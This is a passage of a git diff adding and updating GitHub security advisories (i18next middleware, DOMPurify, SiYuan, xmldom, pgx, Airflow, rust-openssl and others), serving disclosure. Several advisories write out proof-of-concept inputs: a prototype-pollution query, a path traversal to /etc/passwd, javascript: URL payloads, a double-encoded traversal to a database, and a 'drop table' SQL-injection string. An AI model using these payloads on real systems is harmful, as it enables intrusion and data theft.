"severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:43:36Z", + "nvd_published_at": "2026-04-22T00:16:29Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json b/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json new file mode 100644 index 0000000000000..48f9243ac4942 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-5fgg-jcpf-8jjw/GHSA-5fgg-jcpf-8jjw.json @@ -0,0 +1,60 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5fgg-jcpf-8jjw", + "modified": "2026-04-22T17:40:47Z", + "published": "2026-04-22T17:40:47Z", + "aliases": [], + "summary": "i18next-http-middleware: Prototype pollution and path traversal via user-controlled language and namespace parameters", + "details": "### Summary\n\nVersions of `i18next-http-middleware` prior to 3.9.3 pass user-controlled `lng` and `ns` parameters to two internal paths that use them in ways that enable prototype pollution and, depending on the configured backend, path traversal or SSRF.\n\nThe vulnerable entry points are unauthenticated HTTP handlers that are part of the middleware's public API:\n\n- `getResourcesHandler` — reads `lng`/`ns` from query parameters or route params and passes them unvalidated to:\n - `utils.setPath(resources, [lng, ns], ...)` — the `setPath` helper did not guard against `__proto__`, `constructor`, or `prototype` keys, writing into `Object.prototype` when those values were supplied.\n - `i18next.services.backendConnector.load(languages, namespaces, ...)` — depending on the configured backend, unvalidated path segments enabled filesystem path traversal (e.g. with `i18next-fs-backend`) or SSRF (e.g. with `i18next-http-backend`).\n - A `namespaces.forEach(ns => i18next.options.ns.push(ns))` loop additionally performed permanent, unbounded growth of the shared singleton namespace list.\n- `missingKeyHandler` — iterated the incoming request body with `for...in`, which traverses inherited prototype-chain properties. A POST body like `{\"__proto__\": {\"isAdmin\": true}}` was forwarded into `saveMissing`.\n\n### Impact\n\n- **Prototype pollution** — a single unauthenticated request of the form `GET /locales/resources.json?lng=__proto__&ns=isAdmin` writes into `Object.prototype`, affecting every plain object created subsequently in the Node.js process. This can break authorization checks (`if (user.isAdmin)`), cause denial of service via type confusion, or be chained into RCE depending on what downstream code reads from polluted objects.\n- **Path traversal / SSRF** — with filesystem or HTTP backends that interpolate `lng`/`ns` into paths or URLs, attacker-controlled values like `ns=../../etc/passwd` or `lng=internal-service` could reach resources outside the intended scope.\n- **Denial of service** — the unbounded `i18next.options.ns` growth, plus repeated backend load calls, enabled memory and CPU exhaustion from unique namespace payloads.\n\n### Affected versions\n\n`< 3.9.3`.\n\n### Patch\n\nFixed in **3.9.3**. The patch:\n\n1. Blocks `__proto__`, `constructor`, and `prototype` keys in `utils.setPath`.\n2. Replaces the `for...in` body iteration in `missingKeyHandler` with `Object.keys()` plus an explicit dangerous-keys guard.\n3. Introduces a `utils.isSafeIdentifier` helper (denylist approach — still permits any legitimate i18next language code shape) that filters `lng`/`ns` values for path-traversal, path separators, control characters, prototype keys, and over-long inputs before they reach the backend connector and before they are pushed into `i18next.options.ns`.\n\n### Workarounds\n\nNo workaround short of upgrading. Front-proxying the middleware with a WAF rule that rejects requests containing `__proto__`, `constructor`, `prototype`, `..`, or control characters in `lng`/`ns` query parameters or body keys is a partial mitigation.\n\n### Credits\n\nDiscovered via an internal security audit of the i18next ecosystem.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "i18next-http-middleware" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.9.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-5fgg-jcpf-8jjw" + }, + { + "type": "PACKAGE", + "url": "https://github.com/i18next/i18next-http-middleware" + }, + { + "type": "WEB", + "url": "https://www.i18next.com/how-to/faq#how-should-the-language-codes-be-formatted" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321", + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:40:47Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json b/advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json similarity index 67% rename from advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json rename to advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json index 567517d35a263..3248d96b4d506 100644 --- a/advisories/unreviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json +++ b/advisories/github-reviewed/2026/04/GHSA-5w6h-pjw6-wvc6/GHSA-5w6h-pjw6-wvc6.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-5w6h-pjw6-wvc6", - "modified": "2026-04-20T18:31:46Z", + "modified": "2026-04-22T17:36:41Z", "published": "2026-04-18T15:34:15Z", "aliases": [ "CVE-2026-40948" ], + "summary": "apache-airflow-providers-keycloak: Missing OAuth 2.0 State and PKCE Enables Login CSRF and Session Fixation", "details": "The Keycloak authentication manager in `apache-airflow-providers-keycloak` did not generate or validate the OAuth 2.0 `state` parameter on the login / login-callback flow, and did not use PKCE. An attacker with a Keycloak account in the same realm could deliver a crafted callback URL to a victim's browser and cause the victim to be logged into the attacker's Airflow session (login-CSRF / session fixation), where any credentials the victim subsequently stored in Airflow Connections would be harvestable by the attacker. Users are advised to upgrade `apache-airflow-providers-keycloak` to 0.7.0 or later.", "severity": [ { @@ -13,7 +14,27 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "apache-airflow-providers-keycloak" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.0.1" + }, + { + "fixed": "0.7.0" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", @@ -23,6 +44,10 @@ "type": "WEB", "url": "https://github.com/apache/airflow/pull/64114" }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/airflow" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/kc0odpr70hbqhdb9ksnz42fkqz2xld9q" @@ -37,8 +62,8 @@ "CWE-352" ], "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:36:41Z", "nvd_published_at": "2026-04-18T14:16:10Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json b/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json new file mode 100644 index 0000000000000..fad312fb6215e --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-6457-mxpq-4fqq/GHSA-6457-mxpq-4fqq.json @@ -0,0 +1,56 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6457-mxpq-4fqq", + "modified": "2026-04-22T17:42:24Z", + "published": "2026-04-22T17:42:24Z", + "aliases": [], + "summary": "i18nextify has DOM XSS via javascript:/data: URL schemes in translated href/src attributes", + "details": "### Summary\n\nVersions of `i18nextify` prior to 4.0.8 substitute `{{key}}` interpolation tokens inside `src` and `href` attribute values with the raw string returned by `i18next.t()`. The substitution logic in `src/localize.js` (`replaceInside` handler around line 122) only guards against a duplicated `http://` origin prefix — it does not validate the URL scheme of the substituted value. A translated value such as `javascript:alert(1)` or `data:text/html,` is applied unchanged to the live DOM attribute.\n\n### Impact\n\nWhen an attacker can influence the content of a translation file or the translation-backend response — compromised translation CDN, user-contributed locales, MITM on a plain-HTTP backend, write access to the translation JSON — they can:\n\n- Set any `href` on an anchor to a `javascript:` URI, executing arbitrary JavaScript when the victim clicks the link.\n- Set any `src` on `',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['iframe']\n }\n );\n // Returns: ''\n // Expected: '' (iframe forbidden)\n\n DOMPurify.sanitize(\n '
',\n {\n ADD_TAGS: function(tag) { return true; },\n FORBID_TAGS: ['form']\n }\n );\n // Returns: '
'\n // Expected: '' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n DOMPurify.sanitize(\n '

hello

',\n {\n ADD_ATTR: function(attr) { return true; },\n FORBID_ATTR: ['onclick']\n }\n );\n // Returns: '

hello

' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n if (FORBID_TAGS[tagName]) {\n // proceed to removal logic\n }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "dompurify" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.4.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m" + }, + { + "type": "PACKAGE", + "url": "https://github.com/cure53/DOMPurify" + }, + { + "type": "WEB", + "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-183", + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:34:17Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json b/advisories/github-reviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json similarity index 52% rename from advisories/unreviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json rename to advisories/github-reviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json index 18cca4d3aa85d..a4c780e3fa39b 100644 --- a/advisories/unreviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json +++ b/advisories/github-reviewed/2026/04/GHSA-h97w-pm3w-mwmc/GHSA-h97w-pm3w-mwmc.json @@ -1,19 +1,40 @@ { "schema_version": "1.4.0", "id": "GHSA-h97w-pm3w-mwmc", - "modified": "2026-04-20T18:31:45Z", + "modified": "2026-04-22T17:25:30Z", "published": "2026-04-18T09:30:20Z", "aliases": [ "CVE-2026-32228" ], - "details": "UI / API User with asset materialize permission could trigger dags they had no access to.\nUsers are advised to migrate to Airflow version 3.2.0 that fixes the issue.", + "summary": "Apache Airflow allows users with asset materialize permissions to trigger DAGs outside of their permissions", + "details": "UI / API User with asset materialize permission could trigger dags they had no access to. Users are advised to migrate to Airflow version 3.2.0 that fixes the issue.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "apache-airflow-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "3.2.0" + } + ] + } + ] + } + ], "references": [ { "type": "ADVISORY", @@ -23,6 +44,10 @@ "type": "WEB", "url": "https://github.com/apache/airflow/pull/63338" }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/airflow" + }, { "type": "WEB", "url": "https://lists.apache.org/thread/s7c75txgt4qf2rofcn43szfwgcrzy0nj" @@ -37,8 +62,8 @@ "CWE-863" ], "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:25:30Z", "nvd_published_at": "2026-04-18T07:16:10Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-hjh7-r5w8-5872/GHSA-hjh7-r5w8-5872.json b/advisories/github-reviewed/2026/04/GHSA-hjh7-r5w8-5872/GHSA-hjh7-r5w8-5872.json new file mode 100644 index 0000000000000..f8028eabf3022 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-hjh7-r5w8-5872/GHSA-hjh7-r5w8-5872.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hjh7-r5w8-5872", + "modified": "2026-04-22T20:51:22Z", + "published": "2026-04-22T20:51:22Z", + "aliases": [], + "summary": "SiYuan: Path Traversal via Double URL Encoding in `/export/` Endpoint (Incomplete Fix Bypass for CVE-2026-30869)", + "details": "### Summary\nThe fix for CVE-2026-30869 in SiYuan v3.5.10 only added a denylist check (`IsSensitivePath`) but did not address the root cause — a redundant `url.PathUnescape()` call in `serveExport()`. An authenticated attacker can use double URL encoding (`%252e%252e`) to traverse directories and read arbitrary workspace files including the full SQLite database (`siyuan.db`), kernel log, and all user documents.\n\n### Details\nIn `kernel/server/serve.go`, the `serveExport()` function (line 314-320) processes file paths as follows:\n\n```go\nfilePath := strings.TrimPrefix(c.Request.URL.Path, \"/export/\")\ndecodedPath, err := url.PathUnescape(filePath) // second decode\nfullPath := filepath.Join(exportBaseDir, decodedPath)\n```\n\nGo's HTTP server already decodes percent-encoded characters once during request parsing. The additional `url.PathUnescape()` call creates a double-decode vulnerability:\n\n1. Attacker sends: `GET /export/%252e%252e/siyuan.db`\n2. Go HTTP decodes `%25` → `%`, result: `URL.Path = /export/%2e%2e/siyuan.db`\n3. Go's path cleaner sees `%2e%2e` as literal characters (not `..`), no redirect occurs\n4. `url.PathUnescape(\"%2e%2e\")` decodes to `..`\n5. `filepath.Join(exportBaseDir, \"../siyuan.db\")` resolves to `/temp/siyuan.db`\n\nThe CVE-2026-30869 fix added `IsSensitivePath()` which blocks `/conf/` and OS-level paths (`/etc`, `/root`, etc.). However, it does NOT block:\n- `/temp/siyuan.db` — full document database\n- `/temp/blocktree.db` — block tree database\n- `/temp/siyuan.log` — kernel log\n- `/temp/asset_content.db` — asset content database\n\nNote: the `/appearance/` handler in the same file correctly uses `gulu.File.IsSubPath()` to validate paths (line 447), but this check is missing from the `/export/` handler.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/26866234/poc.zip)\nPlease extract the uploaded compressed file before proceeding\n\n1. docker compose up -d --build\n2. sh poc.sh\n\n\"스크린샷\n\n\n\n\n### Impact\n- Data exfiltration: An authenticated user (including low-privilege Publish/Reader users via the Publish service) can download the entire SQLite document database containing all blocks, documents, attributes, and full-text search indexes.\n- Information disclosure: Kernel log (`siyuan.log`) leaks internal server paths, versions, configuration details, and error messages.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/siyuan-note/siyuan/kernel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.6.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hjh7-r5w8-5872" + }, + { + "type": "WEB", + "url": "https://github.com/siyuan-note/siyuan/commit/bb481e1290c4a34255652ede85a546504505d2a7" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-2h2p-mvfx-868w" + }, + { + "type": "PACKAGE", + "url": "https://github.com/siyuan-note/siyuan" + }, + { + "type": "WEB", + "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.5" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:51:22Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-hppc-g8h3-xhp3/GHSA-hppc-g8h3-xhp3.json b/advisories/github-reviewed/2026/04/GHSA-hppc-g8h3-xhp3/GHSA-hppc-g8h3-xhp3.json new file mode 100644 index 0000000000000..b82a6016cc7bf --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-hppc-g8h3-xhp3/GHSA-hppc-g8h3-xhp3.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hppc-g8h3-xhp3", + "modified": "2026-04-22T21:00:57Z", + "published": "2026-04-22T21:00:57Z", + "aliases": [], + "summary": "rust-openssl: Unchecked callback length in PSK/cookie trampolines leaks adjacent memory to peer", + "details": "The FFI trampolines behind `SslContextBuilder::set_psk_client_callback`, `set_psk_server_callback`, `set_cookie_generate_cb`, and `set_stateless_cookie_generate_cb` forwarded the user closure's returned usize directly to OpenSSL without checking it against the `&mut [u8]` that was handed to the closure. This can lead to buffer overflows and other unintended consequences.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "openssl" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.9.24" + }, + { + "fixed": "0.10.78" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rust-openssl/rust-openssl/security/advisories/GHSA-hppc-g8h3-xhp3" + }, + { + "type": "WEB", + "url": "https://github.com/rust-openssl/rust-openssl/pull/2607" + }, + { + "type": "WEB", + "url": "https://github.com/rust-openssl/rust-openssl/commit/1d109020d98fff2fb2e45c39a373af3dff99b24c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rust-openssl/rust-openssl" + }, + { + "type": "WEB", + "url": "https://github.com/rust-openssl/rust-openssl/releases/tag/openssl-v0.10.78" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-126", + "CWE-130" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T21:00:57Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-j759-j44w-7fr8/GHSA-j759-j44w-7fr8.json b/advisories/github-reviewed/2026/04/GHSA-j759-j44w-7fr8/GHSA-j759-j44w-7fr8.json new file mode 100644 index 0000000000000..38a273aff5428 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-j759-j44w-7fr8/GHSA-j759-j44w-7fr8.json @@ -0,0 +1,115 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-j759-j44w-7fr8", + "modified": "2026-04-22T20:16:08Z", + "published": "2026-04-22T20:16:07Z", + "aliases": [ + "CVE-2026-41672" + ], + "summary": "xmldom has XML node injection through unvalidated comment serialization", + "details": "## Summary\n\nThe package allows attacker-controlled comment content to be serialized into XML without validating or neutralizing comment breaking sequences. As a result, an attacker can terminate the comment early and inject arbitrary XML nodes into the serialized output.\n\n---\n\n## Details\n\nThe issue is in the DOM construction and serialization flow for comment nodes.\n\nWhen `createComment(data)` is called, the supplied string is stored as comment data through the generic character-data handling path. That content is kept as-is. Later, when the document is serialized, the serializer writes comment nodes by concatenating the XML comment delimiters with the stored `node.data` value directly.\n\nThat behavior is unsafe because XML comments are a syntax-sensitive context. If attacker-controlled input contains a sequence that closes the comment, the serializer does not preserve it as literal comment text. Instead, it emits output where the remainder of the payload is treated as live XML markup.\n\nThis is a real injection bug, not a formatting issue. The serializer already applies context-aware handling in other places, such as escaping text nodes and rewriting unsafe CDATA terminators. Comment content does not receive equivalent treatment. Because of that gap, untrusted data can break out of the comment boundary and modify the structure of the final XML document.\n\n---\n\n## PoC\n\n```js\nconst { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');\n\nconst doc = new DOMImplementation().createDocument(null, 'root', null);\n\ndoc.documentElement.appendChild(\n doc.createComment('-->\n\nconst reparsed = new DOMParser().parseFromString(xml, 'text/xml');\nconsole.log(reparsed.documentElement.childNodes.item(1).nodeName);\n// injected\n```\n\n---\n\n## Impact\n\nAn application that uses the package to build XML from untrusted input can be made to emit attacker-controlled elements outside the intended comment boundary. That allows the attacker to alter the meaning and structure of generated XML documents.\n\nIn practice, this can affect any workflow that generates XML and then stores it, forwards it, signs it, or hands it to another parser. Realistic targets include XML-based configuration, policy documents, and message formats where downstream consumers trust the serialized structure.\n\n---\n\n## Disclosure\n\nThis vulnerability was publicly disclosed at 2026-04-06T11:25:07Z via [xmldom/xmldom#987](https://github.com/xmldom/xmldom/pull/987), which was subsequently closed without being merged.\n\n---\n\n## Fix Applied\n\n> **⚠ Opt-in required.** Protection is not automatic. Existing serialization calls remain\n> vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that pass\n> untrusted data to `createComment()` or mutate comment nodes with untrusted input (via\n> `appendData`, `insertData`, `replaceData`, `.data =`, or `.textContent =`) should audit all\n> `serializeToString()` call sites and add the option.\n\n`XMLSerializer.serializeToString()` now accepts an options object as a second argument. When `{ requireWellFormed: true }` is passed, the serializer throws `InvalidStateError` before emitting a Comment node whose `.data` would produce malformed XML.\n\nOn `@xmldom/xmldom` ≥ 0.9.10, the full W3C DOM Parsing §3.2.1.4 check is applied: throws if `.data` contains `--` anywhere, ends with `-`, or contains characters outside the XML Char production.\n\nOn `@xmldom/xmldom` ≥ 0.8.13 (LTS), only the `-->` injection sequence is checked. The `0.8.x` SAX parser accepts comments containing `--` (without `>`), so throwing on bare `--` would break a previously-working round-trip on that branch. The `-->` check is sufficient to prevent injection.\n\n### PoC — fixed path\n\n```js\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\n\nconst doc = new DOMImplementation().createDocument(null, 'root', null);\ndoc.documentElement.appendChild(doc.createComment('-->\n\n// Opt-in guard: throws InvalidStateError before serializing\ntry {\n new XMLSerializer().serializeToString(doc, { requireWellFormed: true });\n} catch (e) {\n console.log(e.name, e.message);\n // InvalidStateError: The comment node data contains \"--\" or ends with \"-\" (0.9.x)\n // InvalidStateError: The comment node data contains \"-->\" (0.8.x — only --> is checked)\n}\n```\n\n### Why the default stays verbatim\n\nThe W3C DOM Parsing and Serialization spec §3.2.1.4 defines a `require well-formed` flag whose **default value is `false`**. With the flag unset, the spec explicitly permits serializing ill-formed comment content verbatim — this is also the behavior of browser implementations (Chrome, Firefox, Safari): `new XMLSerializer().serializeToString(doc)` produces the injection sequence without error in all major browsers.\n\nUnconditionally throwing would be a behavioral breaking change with no spec justification. The opt-in `requireWellFormed: true` flag allows applications that require injection safety to enable strict mode without breaking existing deployments.\n\n### Residual limitation\n\nThe fix operates at serialization time only. There is no creation-time check in `createComment` — the spec does not require one for comment data. Any path that leads to a Comment node with `--` in its data (`createComment`, `appendData`, `.data =`, etc.) produces a node that serializes safely only when `{ requireWellFormed: true }` is passed to `serializeToString`.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@xmldom/xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.8.13" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "@xmldom/xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.9.0" + }, + { + "fixed": "0.9.10" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "xmldom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-j759-j44w-7fr8" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/pull/987" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/xmldom/xmldom" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13" + }, + { + "type": "WEB", + "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-91" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:16:07Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-j88v-2chj-qfwx/GHSA-j88v-2chj-qfwx.json b/advisories/github-reviewed/2026/04/GHSA-j88v-2chj-qfwx/GHSA-j88v-2chj-qfwx.json new file mode 100644 index 0000000000000..836be5a399f53 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-j88v-2chj-qfwx/GHSA-j88v-2chj-qfwx.json @@ -0,0 +1,101 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-j88v-2chj-qfwx", + "modified": "2026-04-22T20:46:51Z", + "published": "2026-04-22T20:46:51Z", + "aliases": [], + "summary": "pgx: SQL Injection via placeholder confusion with dollar quoted string literals", + "details": "### Impact\n\nSQL Injection can occur when:\n\n1. The non-default simple protocol is used.\n2. A dollar quoted string literal is used in the SQL query.\n3. That string literal contains text that would be would be interpreted as a placeholder outside of a string literal.\n4. The value of that placeholder is controllable by the attacker.\n\ne.g.\n\n```go\nattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n```\n\nThis is unlikely to occur outside of a contrived scenario.\n\n### Patches\n\nThe problem is resolved in v5.9.2.\n\n### Workarounds\n\nDo not use the simple protocol to execute queries matching all the above conditions.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/jackc/pgx/v5" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.9.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/jackc/pgx/v4" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "4.18.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/jackc/pgx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "3.6.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jackc/pgx/security/advisories/GHSA-j88v-2chj-qfwx" + }, + { + "type": "WEB", + "url": "https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jackc/pgx" + }, + { + "type": "WEB", + "url": "https://github.com/jackc/pgx/releases/tag/v5.9.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:46:51Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-j99g-7rqw-q9jg/GHSA-j99g-7rqw-q9jg.json b/advisories/github-reviewed/2026/04/GHSA-j99g-7rqw-q9jg/GHSA-j99g-7rqw-q9jg.json new file mode 100644 index 0000000000000..d6d3656698f13 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-j99g-7rqw-q9jg/GHSA-j99g-7rqw-q9jg.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-j99g-7rqw-q9jg", + "modified": "2026-04-22T19:23:55Z", + "published": "2026-04-22T19:23:55Z", + "aliases": [ + "CVE-2026-34066" + ], + "summary": "nimiq-blockchain: Peer-triggerable panic during history sync", + "details": "### Impact\n`HistoryStore::put_historic_txns` uses an `assert!` to enforce invariants about `HistoricTransaction.block_number` (must be within the macro block being pushed and within the same epoch). During history sync, a peer can influence the `history: &[HistoricTransaction]` input passed into `Blockchain::push_history_sync`, and a malformed history list can violate these invariants and trigger a panic.\n\n`extend_history_sync` calls `this.history_store.add_to_history(..)` before comparing the computed history root against the macro block header (`block.history_root()`), so the panic can happen before later rejection checks run.\n\n### Patches\n[The patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/commit/6f5511309c199d84b012fe6b9aba7e5582892c50) is included as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": 